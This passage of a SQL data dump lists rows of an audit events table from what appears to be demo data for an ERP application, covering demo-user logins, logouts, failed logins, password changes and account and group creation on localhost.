Safari/537.22',NULL,NULL,NULL,NULL),(535,'2015-03-23 13:04:55','USER_LOGIN',1,'2015-03-23 14:04:55',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22',NULL,NULL,NULL,NULL),(536,'2015-03-23 15:47:43','USER_LOGIN',1,'2015-03-23 16:47:43',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22',NULL,NULL,NULL,NULL),(537,'2015-03-23 22:56:36','USER_LOGIN',1,'2015-03-23 23:56:36',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22',NULL,NULL,NULL,NULL),(538,'2015-03-24 01:22:32','USER_LOGIN',1,'2015-03-24 02:22:32',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22',NULL,NULL,NULL,NULL),(539,'2015-03-24 14:40:42','USER_LOGIN',1,'2015-03-24 15:40:42',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22',NULL,NULL,NULL,NULL),(540,'2015-03-24 15:30:26','USER_LOGOUT',1,'2015-03-24 16:30:26',1,'(UserLogoff,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22',NULL,NULL,NULL,NULL),(541,'2015-03-24 15:30:29','USER_LOGIN',1,'2015-03-24 16:30:29',2,'(UserLogged,demo)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22',NULL,NULL,NULL,NULL),(542,'2015-03-24 15:49:40','USER_LOGOUT',1,'2015-03-24 16:49:40',2,'(UserLogoff,demo)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22',NULL,NULL,NULL,NULL),(543,'2015-03-24 15:49:48','USER_LOGIN',1,'2015-03-24 16:49:48',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22',NULL,NULL,NULL,NULL),(544,'2015-03-24 15:52:35','USER_MODIFY',1,'2015-03-24 16:52:35',1,'Modification utilisateur zzzg','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22',NULL,NULL,NULL,NULL),(545,'2015-03-24 15:52:52','USER_MODIFY',1,'2015-03-24 16:52:52',1,'Modification utilisateur zzzg','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22',NULL,NULL,NULL,NULL),(546,'2015-03-24 15:53:09','USER_MODIFY',1,'2015-03-24 16:53:09',1,'Modification utilisateur zzzg','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22',NULL,NULL,NULL,NULL),(547,'2015-03-24 15:53:23','USER_MODIFY',1,'2015-03-24 16:53:23',1,'Modification utilisateur zzzg','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22',NULL,NULL,NULL,NULL),(548,'2015-03-24 16:00:04','USER_MODIFY',1,'2015-03-24 17:00:04',1,'Modification utilisateur zzzg','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22',NULL,NULL,NULL,NULL),(549,'2015-03-24 16:01:50','USER_MODIFY',1,'2015-03-24 17:01:50',1,'Modification utilisateur zzzg','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22',NULL,NULL,NULL,NULL),(550,'2015-03-24 16:10:14','USER_MODIFY',1,'2015-03-24 17:10:14',1,'Modification utilisateur zzzg','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22',NULL,NULL,NULL,NULL),(551,'2015-03-24 16:55:13','USER_LOGIN',1,'2015-03-24 17:55:13',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22',NULL,NULL,NULL,NULL),(552,'2015-03-24 17:44:29','USER_LOGIN',1,'2015-03-24 18:44:29',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22',NULL,NULL,NULL,NULL),(553,'2015-09-08 23:06:26','USER_LOGIN',1,'2015-09-09 01:06:26',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.57 Safari/537.36',NULL,NULL,NULL,NULL),(554,'2015-10-21 22:32:28','USER_LOGIN',1,'2015-10-22 00:32:28',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.66 Safari/537.36',NULL,NULL,NULL,NULL),(555,'2015-10-21 22:32:48','USER_LOGIN',1,'2015-10-22 00:32:48',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.66 Safari/537.36',NULL,NULL,NULL,NULL),(556,'2015-11-07 00:01:51','USER_LOGIN',1,'2015-11-07 01:01:51',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.114 Safari/537.36',NULL,NULL,NULL,NULL),(557,'2016-03-02 15:21:07','USER_LOGIN',1,'2016-03-02 16:21:07',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.117 Safari/537.36',NULL,NULL,NULL,NULL),(558,'2016-03-02 15:36:53','USER_LOGIN',1,'2016-03-02 16:36:53',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.117 Safari/537.36',NULL,NULL,NULL,NULL),(559,'2016-03-02 18:54:23','USER_LOGIN',1,'2016-03-02 19:54:23',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.117 Safari/537.36',NULL,NULL,NULL,NULL),(560,'2016-03-02 19:11:17','USER_LOGIN',1,'2016-03-02 20:11:17',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.117 Safari/537.36',NULL,NULL,NULL,NULL),(561,'2016-03-03 18:19:24','USER_LOGIN',1,'2016-03-03 19:19:24',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.117 Safari/537.36',NULL,NULL,NULL,NULL),(562,'2016-12-21 12:51:38','USER_LOGIN',1,'2016-12-21 13:51:38',1,'(UserLogged,admin) - TZ=1;TZString=CET;Screen=1920x969','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.111 Safari/537.36',NULL,NULL,NULL,NULL),(563,'2016-12-21 19:52:09','USER_LOGIN',1,'2016-12-21 20:52:09',1,'(UserLogged,admin) - TZ=1;TZString=CET;Screen=1920x969','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.111 Safari/537.36',NULL,NULL,NULL,NULL),(566,'2017-10-03 08:49:43','USER_NEW_PASSWORD',1,'2017-10-03 10:49:43',1,'Password change for admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(567,'2017-10-03 08:49:43','USER_MODIFY',1,'2017-10-03 10:49:43',1,'User admin modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(568,'2017-10-03 09:03:12','USER_MODIFY',1,'2017-10-03 11:03:12',1,'User admin modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(569,'2017-10-03 09:03:42','USER_MODIFY',1,'2017-10-03 11:03:42',1,'User admin modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(570,'2017-10-03 09:07:36','USER_MODIFY',1,'2017-10-03 11:07:36',1,'User demo modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(571,'2017-10-03 09:08:58','USER_NEW_PASSWORD',1,'2017-10-03 11:08:58',1,'Password change for pcurie','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(572,'2017-10-03 09:08:58','USER_MODIFY',1,'2017-10-03 11:08:58',1,'User pcurie modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(573,'2017-10-03 09:09:23','USER_MODIFY',1,'2017-10-03 11:09:23',1,'User pcurie modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(574,'2017-10-03 09:11:04','USER_NEW_PASSWORD',1,'2017-10-03 11:11:04',1,'Password change for athestudent','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(575,'2017-10-03 09:11:04','USER_MODIFY',1,'2017-10-03 11:11:04',1,'User athestudent modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(576,'2017-10-03 09:11:53','USER_MODIFY',1,'2017-10-03 11:11:53',1,'User abookkeeper modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(577,'2017-10-03 09:42:12','USER_LOGIN_FAILED',1,'2017-10-03 11:42:11',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(578,'2017-10-03 09:42:19','USER_LOGIN_FAILED',1,'2017-10-03 11:42:19',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(579,'2017-10-03 09:42:42','USER_LOGIN_FAILED',1,'2017-10-03 11:42:42',NULL,'Bad value for login or password - login=aeinstein','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(580,'2017-10-03 09:43:50','USER_LOGIN',1,'2017-10-03 11:43:50',1,'(UserLogged,admin) - TZ=1;TZString=Europe/Berlin;Screen=1600x788','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(581,'2017-10-03 09:44:44','GROUP_MODIFY',1,'2017-10-03 11:44:44',1,'Group Sale representatives modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(582,'2017-10-03 09:46:25','GROUP_CREATE',1,'2017-10-03 11:46:25',1,'Group Management created','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(583,'2017-10-03 09:46:46','GROUP_CREATE',1,'2017-10-03 11:46:46',1,'Group Scientists created','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(584,'2017-10-03 09:47:41','USER_CREATE',1,'2017-10-03 11:47:41',1,'User mcurie created','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(585,'2017-10-03 09:47:41','USER_NEW_PASSWORD',1,'2017-10-03 11:47:41',1,'Password change for mcurie','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(586,'2017-10-03 09:47:53','USER_MODIFY',1,'2017-10-03 11:47:53',1,'User mcurie modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(587,'2017-10-03 09:48:32','USER_DELETE',1,'2017-10-03 11:48:32',1,'User bbb removed','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(588,'2017-10-03 09:48:52','USER_MODIFY',1,'2017-10-03 11:48:52',1,'User bookkeeper modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(589,'2017-10-03 10:01:28','USER_MODIFY',1,'2017-10-03 12:01:28',1,'User bookkeeper modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(590,'2017-10-03 10:01:39','USER_MODIFY',1,'2017-10-03 12:01:39',1,'User bookkeeper modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(591,'2017-10-05 06:32:38','USER_LOGIN_FAILED',1,'2017-10-05 08:32:38',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(592,'2017-10-05 06:32:44','USER_LOGIN',1,'2017-10-05 08:32:44',1,'(UserLogged,admin) - TZ=1;TZString=Europe/Berlin;Screen=1590x767','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(593,'2017-10-05 07:07:52','USER_CREATE',1,'2017-10-05 09:07:52',1,'User atheceo created','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(594,'2017-10-05 07:07:52','USER_NEW_PASSWORD',1,'2017-10-05 09:07:52',1,'Password change for atheceo','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(595,'2017-10-05 07:09:08','USER_NEW_PASSWORD',1,'2017-10-05 09:09:08',1,'Password change for aeinstein','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(596,'2017-10-05 07:09:08','USER_MODIFY',1,'2017-10-05 09:09:08',1,'User aeinstein modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(597,'2017-10-05 07:09:46','USER_CREATE',1,'2017-10-05 09:09:46',1,'User admin created','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(598,'2017-10-05 07:09:46','USER_NEW_PASSWORD',1,'2017-10-05 09:09:46',1,'Password change for admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(599,'2017-10-05 07:10:20','USER_MODIFY',1,'2017-10-05 09:10:20',1,'User demo modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(600,'2017-10-05 07:10:48','USER_MODIFY',1,'2017-10-05 09:10:48',1,'User admin modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(601,'2017-10-05 07:11:22','USER_NEW_PASSWORD',1,'2017-10-05 09:11:22',1,'Password change for bbookkeeper','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(602,'2017-10-05 07:11:22','USER_MODIFY',1,'2017-10-05 09:11:22',1,'User bbookkeeper modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(603,'2017-10-05 07:12:37','USER_MODIFY',1,'2017-10-05 09:12:37',1,'User admin modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(604,'2017-10-05 07:13:27','USER_MODIFY',1,'2017-10-05 09:13:27',1,'User demo modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(605,'2017-10-05 07:13:52','USER_MODIFY',1,'2017-10-05 09:13:52',1,'User admin modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(606,'2017-10-05 07:14:35','USER_LOGOUT',1,'2017-10-05 09:14:35',1,'(UserLogoff,aeinstein)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(607,'2017-10-05 07:14:40','USER_LOGIN_FAILED',1,'2017-10-05 09:14:40',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(608,'2017-10-05 07:14:44','USER_LOGIN_FAILED',1,'2017-10-05 09:14:44',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(609,'2017-10-05 07:14:49','USER_LOGIN',1,'2017-10-05 09:14:49',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Berlin;Screen=1590x767','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(610,'2017-10-05 07:57:18','USER_MODIFY',1,'2017-10-05 09:57:18',12,'User aeinstein modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(611,'2017-10-05 08:06:54','USER_LOGOUT',1,'2017-10-05 10:06:54',12,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(612,'2017-10-05 08:07:03','USER_LOGIN',1,'2017-10-05 10:07:03',11,'(UserLogged,atheceo) - TZ=1;TZString=Europe/Berlin;Screen=1590x767','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(613,'2017-10-05 19:18:46','USER_LOGIN',1,'2017-10-05 21:18:46',11,'(UserLogged,atheceo) - TZ=1;TZString=Europe/Berlin;Screen=1590x767','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(614,'2017-10-05 19:29:35','USER_CREATE',1,'2017-10-05 21:29:35',11,'User ccommercy created','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(615,'2017-10-05 19:29:35','USER_NEW_PASSWORD',1,'2017-10-05 21:29:35',11,'Password change for ccommercy','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(616,'2017-10-05 19:30:13','GROUP_CREATE',1,'2017-10-05 21:30:13',11,'Group Commercial created','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(617,'2017-10-05 19:31:37','USER_NEW_PASSWORD',1,'2017-10-05 21:31:37',11,'Password change for admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(618,'2017-10-05 19:31:37','USER_MODIFY',1,'2017-10-05 21:31:37',11,'User admin modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(619,'2017-10-05 19:32:00','USER_MODIFY',1,'2017-10-05 21:32:00',11,'User admin modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(620,'2017-10-05 19:33:33','USER_CREATE',1,'2017-10-05 21:33:33',11,'User sscientol created','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(621,'2017-10-05 19:33:33','USER_NEW_PASSWORD',1,'2017-10-05 21:33:33',11,'Password change for sscientol','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(622,'2017-10-05 19:33:47','USER_NEW_PASSWORD',1,'2017-10-05 21:33:47',11,'Password change for mcurie','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(623,'2017-10-05 19:33:47','USER_MODIFY',1,'2017-10-05 21:33:47',11,'User mcurie modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(624,'2017-10-05 19:34:23','USER_NEW_PASSWORD',1,'2017-10-05 21:34:23',11,'Password change for pcurie','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(625,'2017-10-05 19:34:23','USER_MODIFY',1,'2017-10-05 21:34:23',11,'User pcurie modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(626,'2017-10-05 19:34:42','USER_MODIFY',1,'2017-10-05 21:34:42',11,'User aeinstein modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(627,'2017-10-05 19:36:06','USER_NEW_PASSWORD',1,'2017-10-05 21:36:06',11,'Password change for ccommercy','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(628,'2017-10-05 19:36:06','USER_MODIFY',1,'2017-10-05 21:36:06',11,'User ccommercy modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(629,'2017-10-05 19:36:57','USER_NEW_PASSWORD',1,'2017-10-05 21:36:57',11,'Password change for atheceo','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(630,'2017-10-05 19:36:57','USER_MODIFY',1,'2017-10-05 21:36:57',11,'User atheceo modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(631,'2017-10-05 19:37:27','USER_LOGOUT',1,'2017-10-05 21:37:27',11,'(UserLogoff,atheceo)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(632,'2017-10-05 19:37:35','USER_LOGIN_FAILED',1,'2017-10-05 21:37:35',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(633,'2017-10-05 19:37:39','USER_LOGIN_FAILED',1,'2017-10-05 21:37:39',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(634,'2017-10-05 19:37:44','USER_LOGIN_FAILED',1,'2017-10-05 21:37:44',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(635,'2017-10-05 19:37:49','USER_LOGIN_FAILED',1,'2017-10-05 21:37:49',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(636,'2017-10-05 19:38:12','USER_LOGIN_FAILED',1,'2017-10-05 21:38:12',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(637,'2017-10-05 